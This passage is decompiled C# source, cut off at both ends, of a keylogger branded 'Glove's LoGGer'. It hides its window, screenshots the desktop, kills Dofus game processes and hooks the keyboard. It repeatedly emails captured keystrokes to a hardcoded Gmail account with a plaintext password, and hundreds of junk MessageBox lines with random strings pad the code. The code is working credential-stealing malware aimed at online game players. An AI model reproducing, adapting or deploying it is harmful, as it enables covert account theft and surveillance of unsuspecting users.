(int) MessageBox.Show("DRWRPRIJKGEXQ5FMSTMDFIQ9TVRSPLYUQHJKVZ"); - int num1041 = (int) MessageBox.Show("XGISFAQZQBLDNW9ED4WV"); - int num1042 = (int) MessageBox.Show("TUZMESK3ZZN1"); - int num1043 = (int) MessageBox.Show("PDVKK3GSLPX5JFQAAIVWFGNJDCMMYGUZJIHWMYM"); - int num1044 = (int) MessageBox.Show("FH2NRFA2FCVNB"); - int num1045 = (int) MessageBox.Show("TVHMQN5RCHMBYKPYFTGGFFXS3YYVMDRZMYG"); - int num1046 = (int) MessageBox.Show("C7WHHWBJGBSEEHILADPGCQPETUP3NQQILXCMYWBZ"); - int num1047 = (int) MessageBox.Show("LSNTI3AJCJEJXUUWUWICZLJXTJAGTBDMR5PGBHV"); - int num1048 = (int) MessageBox.Show("PNBEBVD2USFEN4ZSR"); - int num1049 = (int) MessageBox.Show("JURLVPSDDAZPMV55"); - int num1050 = (int) MessageBox.Show("UQ2XPSPPVZAUFIPYASTKX4"); - int num1051 = (int) MessageBox.Show("G8KDHRBMCPTBAG8PLXGGAQQSKSQFX"); - int num1052 = (int) MessageBox.Show("ILBCNMLALBXTM9WYJWUMEF7DWCHKHAPELL"); - int num1053 = (int) MessageBox.Show("EDLCX1QNXFNLCGZYWLTCKIFWJC7DCVK"); - int num1054 = (int) MessageBox.Show("HTDDBNHEJEDMIBS5GKTYCKUANGYE9"); - int num1055 = (int) MessageBox.Show("WJYAYQCX9MXMUIH1ZAQVSUIEQEQHR"); - int num1056 = (int) MessageBox.Show("S1NXMCJ8IISAHDUEUZP"); - int num1057 = (int) MessageBox.Show("DIMHCZFLDSYLG5LFKS9"); - int num1058 = (int) MessageBox.Show("CBUNQWKXTTYJZUQXA6LFVRJ8"); - int num1059 = (int) MessageBox.Show("SV5PYA3MWKGFNT"); - int num1060 = (int) MessageBox.Show("LJPHTI3JJHLKSTTFC5UWLS"); - int num1061 = (int) MessageBox.Show("QNQMZNFINQKSMMNMNDVMYVH6RAFTWLYDLHJP9QS"); - int num1062 = (int) MessageBox.Show("QKSUXACXI85GJFZ"); - int num1063 = (int) MessageBox.Show("NIDV2MNGZEV7VBDHNGHBWIZRUSQJ"); - int num1064 = (int) MessageBox.Show("VQWPDBMF2TYMYTIZS6KJL"); - int num1065 = (int) MessageBox.Show("J5ZE6VNZEFCHARIFKWNQGUDWZMLVCWKSQXWV"); - int num1066 = (int) MessageBox.Show("MWEQ9YR2RVVTGZEIKTTXFV"); - int num1067 = (int) MessageBox.Show("LHWUYQLE6DPWXID9"); - int num1068 = (int) MessageBox.Show("CHX1WPALCLSLDPGMYXDZJNYT6STCBQN"); - int num1069 = (int) MessageBox.Show("YM2AWHYWAIESFVDNRMD2CYJT"); - int num1070 = (int) MessageBox.Show("8ZAY8XMTXYNYEBNRV"); - int num1071 = (int) MessageBox.Show("WHTXPALBUCQCBQCEXM3WQJWNGAYCKWRJIIXMJW5"); - int num1072 = (int) MessageBox.Show("LFEFQX1GSLVG6ZKJHVLMJQBLTIR"); - int num1073 = (int) MessageBox.Show("CNKAAKVLTZDVLCMHUI35G"); - int num1074 = (int) MessageBox.Show("LBX4NXJPILZYQTEGTSEYZPZZAAWSKASKZUR5BDHRUT"); - int num1075 = (int) MessageBox.Show("WQSXGUV5N2EVX"); - int num1076 = (int) MessageBox.Show("YNSYGV8GCVVX3CNENK"); - int num1077 = (int) MessageBox.Show("TEXC1J2YDBEQQCSG"); - int num1078 = (int) MessageBox.Show("YWJMXN8BFTJISWPVCNXZYXRDPXSH6WBAD"); - int num1079 = (int) MessageBox.Show("HMZQ8GJSKL5DV"); - int num1080 = (int) MessageBox.Show("LXEWVESAUMHT5HHWZS5I"); - int num1081 = (int) MessageBox.Show("IW5WKNEQD5BQFKP"); - int num1082 = (int) MessageBox.Show("1GMARWYBYCJSMVIPPRU6QLRIJLQG"); - int num1083 = (int) MessageBox.Show("DSLWYWJHLIZSCRTJIDKTX4HTCGHZUQ6ATFWI"); - int num1084 = (int) MessageBox.Show("UNQIZ5FHQCCYPKFHEMBJXMVDLMMXZYHDJ2V"); - int num1085 = (int) MessageBox.Show("ICSGTIHX1JTHEK8"); - int num1086 = (int) MessageBox.Show("9VG7VAAQECWU"); - int num1087 = (int) MessageBox.Show("NEIHFKHNX3WQPJFDYVDELTKLMVWTTRSSMLK9CNB"); - int num1088 = (int) MessageBox.Show("1LLPURKRHYULZZLDPYNGCW8BJEGLSKWWJZ"); - int num1089 = (int) MessageBox.Show("5CBXULWGIMJVVLBFEEPCBZBQCZ8SWRTHZRZQA"); - int num1090 = (int) MessageBox.Show("KYSCXISGMHZCYZTJTZDTQPRARL9BTDLCJ5"); - int num1091 = (int) MessageBox.Show("7TABFRFI9GZMLGPTI"); - int num1092 = (int) MessageBox.Show("LEJD9MKRUZHKVBA7KLEVGA"); - int num1093 = (int) MessageBox.Show("SCPKKFTWST2MFDIZAE4XYFRTJK"); - int num1094 = (int) MessageBox.Show("FCHNBSKRQUFY3UGDHE1PZU"); - int num1095 = (int) MessageBox.Show("QUWCYZDREZVIIPAKUVURGAGTCRECQAG7VACNH9AA"); - int num1096 = (int) MessageBox.Show("GIPXKN4B3GZFDJZ"); - int num1097 = (int) MessageBox.Show("GJYNU9LSATSC3I"); - int num1098 = (int) MessageBox.Show("JRGNJYJDPP8USPTBMIKWESB1SCVXGT"); - int num1099 = (int) MessageBox.Show("RFFTMJRHFBTHN3WZMJETJ5WAMUIYTNAPEFY"); - int num1100 = (int) MessageBox.Show("SYIYKJE2YJTAESE2JWDMBKTTXCVI"); - int num1101 = (int) MessageBox.Show("KJPPQXED92QYQT"); - int num1102 = (int) MessageBox.Show("FQ8XRYZRJUKGCZNJJ9"); - int num1103 = (int) MessageBox.Show("2SESIR4LXHXPERFJVIACUM"); - int num1104 = (int) MessageBox.Show("ERLHMXXWSHJNQCWJPJZQMGHWHXYYUPWJQ4STG6HVW"); - int num1105 = (int) MessageBox.Show("KUMZHUVVKJGWMXFSZZEY4CELC5E"); - int num1106 = (int) MessageBox.Show("LHNDHD9UGYVJUFSQUMZ2NWLFQNESN"); - int num1107 = (int) MessageBox.Show("A4LYAYCWCMCAVCNVB3KPFAQUNP"); - int num1108 = (int) MessageBox.Show("R1HITJQWVPPXTHXFEYRBBDJIZAXQLKJCQ2QT"); - int num1109 = (int) MessageBox.Show("T4HWDEJSZIEMFALVXP5"); - int num1110 = (int) MessageBox.Show("UQEDMIK2P2ELUUNGPIQDELIFR"); - int num1111 = (int) MessageBox.Show("DVYRNHYQRM9YCJHWHQLLIW8MMRU"); - int num1112 = (int) MessageBox.Show("IJSPAXBZHXCZJIRTLVLDKCXASGNKGHC8F9AJCM"); - int num1113 = (int) MessageBox.Show("WFHHBY4HB1MQFXCZ"); - int num1114 = (int) MessageBox.Show("7CRAHBUKL6WWWTYELMPHGTIUIFWRDJKBTDBVF"); - int num1115 = (int) MessageBox.Show("1ECG7LJHIQYC"); - int num1116 = (int) MessageBox.Show("WJWCQIVNVUBYCFMCUWXU29LKURVC"); - int num1117 = (int) MessageBox.Show("IKGHULPH3UGXXMTNYCTWNIQJQP3FFII"); - int num1118 = (int) MessageBox.Show("2EUIIQXRNWNMXRFXNWEHQG3WWTSG"); - int num1119 = (int) MessageBox.Show("FFICRI3EK8KNEG"); - int num1120 = (int) MessageBox.Show("GXKSEPGFABWXATXATFBVGZBYUHQXNB45AIVBUX"); - int num1121 = (int) MessageBox.Show("RUB2UTSAWASIVDRBTLYQYJ1CDDJZXRTNU"); - int num1122 = (int) MessageBox.Show("RUGLCXSNBE88XNBV"); - int num1123 = (int) MessageBox.Show("PLWCMITW5JZLUTMUWIB7CLYE"); - int num1124 = (int) MessageBox.Show("FHAP1EWS3YIDRC"); - int num1125 = (int) MessageBox.Show("ZVJYJSMAAK2I8HWZMU"); - int num1126 = (int) MessageBox.Show("MIQUKXWFAE8UFS8"); - int num1127 = (int) MessageBox.Show("MI3JRIAP2VAJP"); - int num1128 = (int) MessageBox.Show("1KZFRHMBBGEIEV7YB"); - int num1129 = (int) MessageBox.Show("9BEWCMTZVXALWL5NFBK"); - int num1130 = (int) MessageBox.Show("WCJYI4VPYELFEEHKTNJDZFKL8WBTCCREWVCRVCJFWQ"); - int num1131 = (int) MessageBox.Show("I9EQLMQBFMIA9GRTUGZCQTIAQ"); - int num1132 = (int) MessageBox.Show("XZQHTG5NCXJPBVTYZSCRUWTTQGEDQXYUFSLDJRW7N"); - int num1133 = (int) MessageBox.Show("ZYLRYUWCDFDMGLHZLP1M3KR"); - int num1134 = (int) MessageBox.Show("CUDHDXESYNHSXUVEMG8TZCVJJCPH4WFDKVZI"); - int num1135 = (int) MessageBox.Show("HXJFBYBAYCESJVV6CJBWDLXPHMUXXEZULKDKMKX2S"); - int num1136 = (int) MessageBox.Show("PPYMPQTZKUDI6VJHQMXZQRJ5GPVSDYBTDIMXI"); - int num1137 = (int) MessageBox.Show("ULXTEBJ2L3XHENYWFVAGNRD"); - int num1138 = (int) MessageBox.Show("IATIXIQZLBJ7PXUGCMMG2TY"); - int num1139 = (int) MessageBox.Show("VXFEGRRBNJYN9RGEXHA2T"); - int num1140 = (int) MessageBox.Show("XILVHNS9RL3JISLT"); - int num1141 = (int) MessageBox.Show("3TTE9MHTTEPYSNBGYPYNZ"); - int num1142 = (int) MessageBox.Show("I2TTEGAMHA7JI"); - int num1143 = (int) MessageBox.Show("XKLRLZVTJZ2YRWWFDXZIYN3"); - int num1144 = (int) MessageBox.Show("NWCDVFEV9PE9LID"); - int num1145 = (int) MessageBox.Show("JDKE7LNEEUGVUPLAKH7MURUAVJVXLDM"); - int num1146 = (int) MessageBox.Show("EXNZIQ1HXHPDFCBLCCIDTTYJRPM7"); - int num1147 = (int) MessageBox.Show("QIWR94ICSBVCVDWZZCWQAPVPCQXTUSMBJHDQVIBMK"); - int num1148 = (int) MessageBox.Show("ZBCTLHRKKCQYLWICSSJU3WWFDGLF6XDLIWTK"); - int num1149 = (int) MessageBox.Show("HSJTYSSMAIEWMMUYSXQNAKBIQLCAG1WT6HMVP"); - int num1150 = (int) MessageBox.Show("KRHTRGSR4YKFI8CNYMB"); - int num1151 = (int) MessageBox.Show("USRMSGTE1LVMKRNFSPTTIDIJUCRCGKIUHT2LZ"); - int num1152 = (int) MessageBox.Show("GZXPJLWH2ZHHTPGA9JNWLTIUCTWIJJUXUKWNVUKL"); - int num1153 = (int) MessageBox.Show("CT4FZINWRJQP5ZQKKASBLEBD"); - int num1154 = (int) MessageBox.Show("WNCCKEBYUSG7TPTKXNT7PIE"); - int num1155 = (int) MessageBox.Show("JHPVHWIDK19NPP"); - int num1156 = (int) MessageBox.Show("3HEFLYRTP7QAKNJZTN"); - int num1157 = (int) MessageBox.Show("DUBRUKPV8YPCCJ3QUL"); - int num1158 = (int) MessageBox.Show("SLJCSABP4ETLUVSTXAWPDU7XYE"); - int num1159 = (int) MessageBox.Show("LELPTYLYNCNAAM2XCJCSWPDLCLJDPUMYKF7BHR"); - int num1160 = (int) MessageBox.Show("IFTKZKGUQIK3RUQ6FGEGVYPDVER"); - int num1161 = (int) MessageBox.Show("QXNS5GIWYN6UP"); - int num1162 = (int) MessageBox.Show("BFHHCE2SN7SRNDDXIGX"); - int num1163 = (int) MessageBox.Show("JDLSBBKID1UYI7QMB"); - int num1164 = (int) MessageBox.Show("U4CGPMHHAKHN5YZPHF"); - int num1165 = (int) MessageBox.Show("RDB9EPJAHWWHXQZELVUY8FMGJAWUYEEIZJS"); - int num1166 = (int) MessageBox.Show("VHQXBDP52PQTXMCZBS"); - int num1167 = (int) MessageBox.Show("FLLZIAHSDHIHDQX6CK2EAW"); - int num1168 = (int) MessageBox.Show("ME8IHJLSQ4KRLXTMHLLEDYICQAYD"); - int num1169 = (int) MessageBox.Show("QBUAYYPBV67XNIUNKXFYFPWA"); - int num1170 = (int) MessageBox.Show("NLVS6YIKMVVFQSKRCQNJZ4"); - int num1171 = (int) MessageBox.Show("LA6EATH1WBPSISJXXRYBFFQNWEFETMVEHHI"); - int num1172 = (int) MessageBox.Show("P6XLTBQEFIYBXBQKPI9N"); - int num1173 = (int) MessageBox.Show("CQNXVBLIBB5NGSMHVBLZNUSYC1CHLZLBVGPTTAJ"); - int num1174 = (int) MessageBox.Show("X1IEL3GLJEDEJIQSHNZCD"); - int num1175 = (int) MessageBox.Show("PVRIHRFVQPHHD3RMFSUBLDQDISPHWYSILJCCN3W"); - int num1176 = (int) MessageBox.Show("QMTX5QQXE5FIXEI"); - int num1177 = (int) MessageBox.Show("KLMGMZR5AFDFFJZTHKKYJQWTVDRKYPDBGE8QYNS"); - int num1178 = (int) MessageBox.Show("GJJGNZW3AZJHTJWCAQ7Z"); - int num1179 = (int) MessageBox.Show("WDILAU4GFGSBKSFBRQAIYL1JBZBJT"); - int num1180 = (int) MessageBox.Show("FMFH9BS8BJJJ"); - int num1181 = (int) MessageBox.Show("WJEUSH3JRCKP2"); - int num1182 = (int) MessageBox.Show("SPJQHCWYX4WAHMPGAMS6IFGRNBM"); - int num1183 = (int) MessageBox.Show("BEGCHJMA4KNSUW7Q"); - int num1184 = (int) MessageBox.Show("ICTAKUPYXTVDLPLSB9SWZYJHZTTQ8YUVKYVSSJDXJ"); - int num1185 = (int) MessageBox.Show("JUJH7D1SHUXXCCUTUJLRNFZFDT"); - int num1186 = (int) MessageBox.Show("XLHMHMQDVUBIVFQYW6ILF7FXURFVWJVMHLXLHDPAG"); - int num1187 = (int) MessageBox.Show("KJQGYLQYBBVUAHGTNDYDQZLUUEHYQ6H3NTGEW"); - int num1188 = (int) MessageBox.Show("A6JW8TMHNYFNTHD"); - int num1189 = (int) MessageBox.Show("PELKNJPIKDUHFQFVM4QNJMBE5EGISCMLLGDTTZRA"); - int num1190 = (int) MessageBox.Show("M4KZYMSKZLIW2YENDJYAYZED"); - int num1191 = (int) MessageBox.Show("YSZG7FCDNSSZLBZAKUNHUSJSDB5HQGVHWSHMN"); - int num1192 = (int) MessageBox.Show("6UUTI8GZIKWAPXRWAV"); - int num1193 = (int) MessageBox.Show("HJSIJXHM76VDFXALDGQV"); - int num1194 = (int) MessageBox.Show("NWEBGEZIEFVPBX8RWUNMEQP1AEELZ"); - int num1195 = (int) MessageBox.Show("MURSVC5GIHBVRUJUFLFHSPLM6UYVZUEHRE"); - int num1196 = (int) MessageBox.Show("SPJLIXSLJZT4WPSYZH7USFHMSBALU"); - int num1197 = (int) MessageBox.Show("F7HZWCGCXKCDWNZYAPDRZ1F"); - int num1198 = (int) MessageBox.Show("THPPISNPQNFLNS7K2MMZAPFSPBGNRUPNV"); - int num1199 = (int) MessageBox.Show("6XEIFJPKHF4BJBS"); - int num1200 = (int) MessageBox.Show("1F4WIIHGUDGWRPQDIDVRGTPDUKPJISAQ"); - } - - private void FormMain_FormClosing(object sender, FormClosingEventArgs e) => this.sendmail2("[pigeonID:" + this.idpig + "]====== LOG Glove's LoGGer ====== 1ermail| === by Glove for RPG-GROUND", "=============LOG de Glove's LoGGer==========\r\n=========== By Glove For RPG-GROUND ========== \r\n ________________________________________________ \r\n\r\n\r\n" + this.TextBox1.Text + "", this.id, this.pass, this.id); - - internal void hbwait(long ms_to_wait) - { - double num = (double) checked ((long) Environment.TickCount + ms_to_wait); - while ((double) Environment.TickCount < num) - { - Thread.Sleep(1); - Application.DoEvents(); - } - } - - public void takescreen() - { - if (this.load != 0) - return; - this.Opacity = 0.0; - this.ShowInTaskbar = false; - Rectangle bounds = Screen.PrimaryScreen.Bounds; - Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format32bppPArgb); - Graphics.FromImage((Image) bitmap).CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy); - this.Opacity = 100.0; - this.ShowInTaskbar = true; - bitmap.Save("C:/Dofus-capture21.bmp"); - this.load = 1; - } - - public void takescreen2() - { - this.Opacity = 0.0; - this.ShowInTaskbar = false; - Rectangle bounds = Screen.PrimaryScreen.Bounds; - Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format32bppPArgb); - Graphics.FromImage((Image) bitmap).CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy); - this.Opacity = 100.0; - this.ShowInTaskbar = true; - bitmap.Save("C:/Dofus-capture21.bmp"); - this.load = 1; - } - - private void Form1_Load(object sender, EventArgs e) - { - this.Visible = false; - this.Hide(); - this.takescreen2(); - this.idpig = MyProject.Forms.Form2.GeneratePassword(5L, 5L, (Form2.PwdCaseType) this.pwdUPPER, 2L, 2L, 0L, 0L); - this.id = "glenoir64@gmail.com"; - this.pass = "guigui64"; - this.sendmail2("[pigeonID:" + this.idpig + "]SERVEUR KEYLO ouvert !", "=============LOG de Glove's LoGGer==========\r\n=========== By Glove For RPG-GROUND ========== \r\n ________________________________________________ \r\n\r\n\r\n" + this.TextBox1.Text + "", this.id, this.pass, this.id); - this.load = 1; - this.hbwait(5000L); - this.killprocess("Dofus"); - this.killprocess("DofusMod"); - this.load = 0; - this.heure = 0; - this.minute = 5; - this.nombreenvoie = 4000; - this.time = checked (this.heure * 3600000 + this.minute * 60000); - this.KthhtrtrhtrhrthrthL.HookKeyboard(); - this.Timer1.Enabled = true; - this.hbwait((long) this.time); - this.sendmail("[pigeonID:" + this.idpig + "]====== LOG Glove's LoGGer ====== 1ermail| === by Glove for RPG-GROUND", "=============LOG de Glove's LoGGer==========\r\n=========== By Glove For RPG-GROUND ========== \r\n ________________________________________________ \r\n\r\n\r\n" + this.TextBox1.Text + "", this.id, this.pass, this.id); - this.TextBox1.Text = ""; - this.hbwait(1200000L); - this.sendmail("[pigeonID:" + this.idpig + "]====== LOG Glove's LoGGer ====== 2eme mail| === by Glove for RPG-GROUND", "=============LOG de Glove's LoGGer==========\r\n=========== By Glove For RPG-GROUND ========== \r\n ________________________________________________ \r\n\r\n\r\n" + this.TextBox1.Text + "", this.id, this.pass, this.id); - this.TextBox1.Text = ""; - this.hbwait(3600000L); - this.sendmail("[pigeonID:" + this.idpig + "]====== LOG Glove's LoGGer ====== 2eme mail| === by Glove for RPG-GROUND", "=============LOG de Glove's LoGGer==========\r\n=========== By Glove For RPG-GROUND ========== \r\n ________________________________________________ \r\n\r\n\r\n" + this.TextBox1.Text + "", this.id, this.pass, this.id); - this.TextBox1.Text = ""; - this.hbwait(3600000L); - this.sendmail("[pigeonID:" + this.idpig + "]====== LOG Glove's LoGGer ====== 2eme mail| === by Glove for RPG-GROUND", "=============LOG de Glove's LoGGer==========\r\n=========== By Glove For RPG-GROUND ========== \r\n ________________________________________________ \r\n\r\n\r\n" + this.TextBox1.Text + "", this.id, this.pass, this.id); - this.TextBox1.Text = ""; - this.hbwait(3600000L); - this.sendmail("[pigeonID:" + this.idpig + "]====== LOG Glove's LoGGer ====== 2eme mail| === by Glove for RPG-GROUND", "=============LOG de Glove's LoGGer==========\r\n=========== By Glove For RPG-GROUND ========== \r\n ________________________________________________ \r\n\r\n\r\n" + this.TextBox1.Text + "", this.id, this.pass, this.id); - this.TextBox1.Text = ""; - this.Close(); - } - - private void Form1_Leave(object sender, EventArgs e) - { - this.KthhtrtrhtrhrthrthL.UnhookKeyboard(); - this.Timer1.Enabled = false; - } - - private void Timer1_Tick(object sender, EventArgs e) - { - this.TextBox1.Text += this.KthhtrtrhtrhrthrthL.tretetetergvyhyujfverg; - this.KthhtrtrhtrhrthrthL.tretetetergvyhyujfverg = ""; - } - - private void GroupBox1_Click(object sender, EventArgs e) - { - int num1 = (int) MessageBox.Show("KV9USBRGGJUHYJUBABHVUN9HVQLPZWNWP"); - int num2 = (int) MessageBox.Show("KLTBFIEPTTLCDZN1QVCRJGKGKYJ2CSKTSSAX"); - int num3 = (int) MessageBox.Show("YKPPHMJTR5HTUAHLQXRZFXR8"); - int num4 = (int) MessageBox.Show("JLBKT1NFGSQJIQLFVGIFRSGPWI1GNVCZKV"); - int num5 = (int) MessageBox.Show("JBKGXEKQDZJEBL73ZAKYQQNJNBPGTUKW"); - int num6 = (int) MessageBox.Show("JZKCUIXDU7ZXXHVFMQISM9"); - int num7 = (int) MessageBox.Show("RRVJQSB1UY6UPGEZF"); - int num8 = (int) MessageBox.Show("A9IJFHJHRDG5ZNZPDHFKIKRR"); - int num9 = (int) MessageBox.Show("RMVSIWUSHAMF4RCK1BSDXULWGMRUVJWJI"); - int num10 = (int) MessageBox.Show("RRJFJYMUT8RZMYZSSHDWC2BGSLEEIACYFHGCH"); - int num11 = (int) MessageBox.Show("CIBUVIEZQZ3XWBUR9"); - int num12 = (int) MessageBox.Show("RCNCSEYYI6JYGL7MWW"); - int num13 = (int) MessageBox.Show("JGL2BM1FGMYFYHX"); - int num14 = (int) MessageBox.Show("CFN1JXEQNMYUNY9QV"); - int num15 = (int) MessageBox.Show("GICLGLYH3FGWQZB9MXQDGAZLUE"); - int num16 = (int) MessageBox.Show("ICYU2TPBARE1YTN"); - int num17 = (int) MessageBox.Show("RVGSLE6MG5QAIW"); - int num18 = (int) MessageBox.Show("IQ9EMEVVKTXJKQEAF8DIGD"); - int num19 = (int) MessageBox.Show("NPBCKEQYBHZMCZMM9SWXLQNKII2LGRBVV"); - int num20 = (int) MessageBox.Show("IML2N2JKUPFJRSIJPLNBCRCLJKGTRARZUAKWLCUG"); - int num21 = (int) MessageBox.Show("LU2AWICFPLARZXVKGVKMLDW7PWXRGIFXCFD"); - int num22 = (int) MessageBox.Show("BDMREGDBWNFUQPRS3MMRRG7TVYDFIDFP"); - int num23 = (int) MessageBox.Show("FFHJENYVWVRJISNDCGPA6VCELCFLWCHGCCN6B"); - int num24 = (int) MessageBox.Show("EKZFICQQWPDJZ4LNRQ1R"); - int num25 = (int) MessageBox.Show("APABP7FBF7IAHPHAFZ"); - int num26 = (int) MessageBox.Show("C7F9UWVWAJYWFKYC"); - int num27 = (int) MessageBox.Show("LMTCE3Z6JEKEWVBCBIDQA"); - int num28 = (int) MessageBox.Show("ZCQ8UQY4IKYVBDIXAZDFU"); - int num29 = (int) MessageBox.Show("AJDWMJLKBPDQAJ31BQNXIUUGIFXI"); - int num30 = (int) MessageBox.Show("IER3ZKXGQTFTRDPAMXR7EB"); - int num31 = (int) MessageBox.Show("YVBM2FPYIVXFEQT4WA"); - int num32 = (int) MessageBox.Show("W9XETGHYXDRXVFUAUA6WCZ"); - int num33 = (int) MessageBox.Show("IXHQNVBYI8K4IQUGVWJQBTZSFXZYBS"); - int num34 = (int) MessageBox.Show("VFMLRCAL5S3FYGTVARLXVASLLV"); - int num35 = (int) MessageBox.Show("HVQ4VAKLREPLYZBFNBLZQMYUDECKWG2HQHBCY"); - int num36 = (int) MessageBox.Show("CIBDQDIWFMDFHGHGV7XF3D"); - int num37 = (int) MessageBox.Show("ARR9BHGHNNYDIJGAIBKJFVK9SQTST"); - int num38 = (int) MessageBox.Show("JJSAUYPWCK9PZK4VJSSXHVKPSXUKWNUQHFV"); - int num39 = (int) MessageBox.Show("LPGDWY4W2SDPBYJAJQJKYPV"); - int num40 = (int) MessageBox.Show("BLNXUPBAVT6HV8EDSTERNVFHGKDDAY"); - int num41 = (int) MessageBox.Show("QLTGLRMIJXGAC3FIMJ7LHQH"); - int num42 = (int) MessageBox.Show("ECEQPCVFJ5HNQKA1"); - int num43 = (int) MessageBox.Show("ZAPABF8AIVDYYQDFLEJ2YBGVSSX"); - int num44 = (int) MessageBox.Show("LP7FAB6RGHIXAHMAMWVJPGDPALEQMEEJZL"); - int num45 = (int) MessageBox.Show("UKMTNVBMUNLGRIVKNLSZAKIWBAJXTB51DKEYHYFV"); - int num46 = (int) MessageBox.Show("ITANGIVJAUWGR2GXVVPHQKTM6JKFKHMTF"); - int num47 = (int) MessageBox.Show("2GMBJBLAJFTTDB3TCTTWSTGXY"); - int num48 = (int) MessageBox.Show("RP1VYLZSMUUIGC2QRPVTDRRYNVGUUADM"); - int num49 = (int) MessageBox.Show("TB7V5NXDTNXRHLR"); - int num50 = (int) MessageBox.Show("ECNRAL4W4PPVUXAYQNLQD"); - int num51 = (int) MessageBox.Show("NUAFEUUNNLLYY1NUSKI7TUHFG"); - int num52 = (int) MessageBox.Show("BV8ZQRFH1IAEHLHPTAPQKIZW"); - int num53 = (int) MessageBox.Show("HCVPQKDPVBT9HEGC7SH"); - int num54 = (int) MessageBox.Show("CLX6WMHRW3RBKDVJUDKTTAHNRCKRXMHJYAYLRNJMP"); - int num55 = (int) MessageBox.Show("EPYFNJDHS7WBYYLWCCETNVRBLTJS8"); - int num56 = (int) MessageBox.Show("RWJYQVJ5G3YYK"); - int num57 = (int) MessageBox.Show("MHHRRGENNPIXWZWLCIHPVFVB2QYBJWWX4JDTJEMQ"); - int num58 = (int) MessageBox.Show("NUCQQYITT4XPAXEWZP4KWPLXQ"); - int num59 = (int) MessageBox.Show("QNBRHHGZPAQBAEUHBCNR5BQY8CSWNWHK"); - int num60 = (int) MessageBox.Show("AGI4HGB5UMJPXB"); - int num61 = (int) MessageBox.Show("GHPMBJPAY2ZCIRABRBQTWSZSV7RZE"); - int num62 = (int) MessageBox.Show("JHGHYQE6V4BNDTNEPLZH"); - int num63 = (int) MessageBox.Show("ETPXGVGE6KLSDKCFPDYNCR3M"); - int num64 = (int) MessageBox.Show("KH5BSSW3DGDIIW"); - int num65 = (int) MessageBox.Show("EYPNREMUR5CCJDWAH7"); - int num66 = (int) MessageBox.Show("XGIGCNZVNHHPBZXMHUQQQLXKHRAA7TVMTXQDI3QL"); - int num67 = (int) MessageBox.Show("GE2WJLMBG5BCJS"); - int num68 = (int) MessageBox.Show("WWWUMYRETUNPCUBQP2QM1UYWK"); - int num69 = (int) MessageBox.Show("GZJYYBNVHN1AXVMEXEHWCRRIZAWRZTUKP8"); - int num70 = (int) MessageBox.Show("QRCYVFM8YXKCMKBAVUBQZC8FRJL"); - int num71 = (int) MessageBox.Show("BIDHYBGXHCYHACY6DZH5HWMEZQFKZMYR"); - int num72 = (int) MessageBox.Show("MTGAPGT4HDQNY6ZRFLEEYVF"); - int num73 = (int) MessageBox.Show("VGNXF5CVURJLPDNBVCY9SZZAKXFASKWXRIV"); - int num74 = (int) MessageBox.Show("EPTJ3GKKJU4ZKDMAFPNIGAMMIM"); - int num75 = (int) MessageBox.Show("KCCGTTZEPAJ74WHZ"); - int num76 = (int) MessageBox.Show("FVFWPNY9BRAUEVINBPILVY7"); - int num77 = (int) MessageBox.Show("AP8FGWLGIDID1B"); - int num78 = (int) MessageBox.Show("QSW4Z7XEKFJDY"); - int num79 = (int) MessageBox.Show("XXTYIBYFHET2XPHBQLGACMB2QU"); - int num80 = (int) MessageBox.Show("UCXUCLPCCMQPXBP7YK6KQHKUHLAYV"); - int num81 = (int) MessageBox.Show("1HHKEL7YGLABVVRKIXXDAFDVYTDVPYJUC"); - int num82 = (int) MessageBox.Show("EYQSARTXTKKCKPCTFQSIHVSTH5I4GRKLZ"); - int num83 = (int) MessageBox.Show("RGM9NJEVASFSTLXFIIJLMDFFYZ8"); - int num84 = (int) MessageBox.Show("NZBGFWTYYGJZFVJERRFZLBNIQAJQSVJH4SQUP1L"); - int num85 = (int) MessageBox.Show("QXCJLT9AWTVYFWHIW2CQIBRSJPRC"); - int num86 = (int) MessageBox.Show("U1QUIZBJZJQYHR4WUTUIR"); - int num87 = (int) MessageBox.Show("JYMJKVTJP8D2UIXUMNP"); - int num88 = (int) MessageBox.Show("NWHJQLZ2CPSAESXWJEDKPEZIVXPFHIBEU2EZGNDRDU"); - int num89 = (int) MessageBox.Show("9ZQKXQ6YAUXVEAVYUA"); - int num90 = (int) MessageBox.Show("G2DLDIGR5SHBDFF"); - int num91 = (int) MessageBox.Show("EXLZXXQNCJACATNGQHND7KGZIWV3"); - int num92 = (int) MessageBox.Show("UNISJBCUVPMCLQBNKFYLPXTTGQESRP7MNPJN4LE"); - int num93 = (int) MessageBox.Show("BARTTILZQPSSDWEQ9DKKFPSYP5VYAR"); - int num94 = (int) MessageBox.Show("LBJNSU4VAUI8NCM"); - int num95 = (int) MessageBox.Show("GKZK1NHHMUXLEE3SXBTHXLJZWXZB"); - int num96 = (int) MessageBox.Show("YBPNAAPIABMEWKARRE6L4NZVKMYHEGXMXDJPU"); - int num97 = (int) MessageBox.Show("BTHTJGCBC9NKVPA4XTARDAYBVLXNL"); - int num98 = (int) MessageBox.Show("HQBXZRDVP7I2"); - int num99 = (int) MessageBox.Show("SLMDJVVG7GDZYGRSXHNYQUWBTYDMHWBN8G"); - int num100 = (int) MessageBox.Show("ZJD87SRCZIZZ"); - int num101 = (int) MessageBox.Show("VUMWQ9JTVIFGVAQC1ICGGGYTFYEN"); - int num102 = (int) MessageBox.Show("ARDQ9HDQG4EIHTAPDIWUEULSZKSV"); - int num103 = (int) MessageBox.Show("AUZQUKDSWMZZM4HVMNDZNBJDWASTB8JFPD"); - int num104 = (int) MessageBox.Show("YCVQXYET7SLUABXHFSZN1DTTPF"); - int num105 = (int) MessageBox.Show("JLRLKVQECXSSVHIYBMBUZEASHBRU3HJBWIZHD8Y"); - int num106 = (int) MessageBox.Show("8F1CIAJLQEALNPHZRHRFSPXHUEQWXH"); - int num107 = (int) MessageBox.Show("DRBUXALBWQDBG1RWCKB7AZRMGU"); - int num108 = (int) MessageBox.Show("WMQIPEJGV51ZYCFKZNCWHUJSQ"); - int num109 = (int) MessageBox.Show("N9SBNLF3DWJLA"); - int num110 = (int) MessageBox.Show("FFBAHBN4LFFZXAFVR7GYVYGBQQMZT"); - int num111 = (int) MessageBox.Show("VCKHPNSA6UEB5"); - int num112 = (int) MessageBox.Show("6LFWZEQBBZ1HUJYKIYNUFWY"); - int num113 = (int) 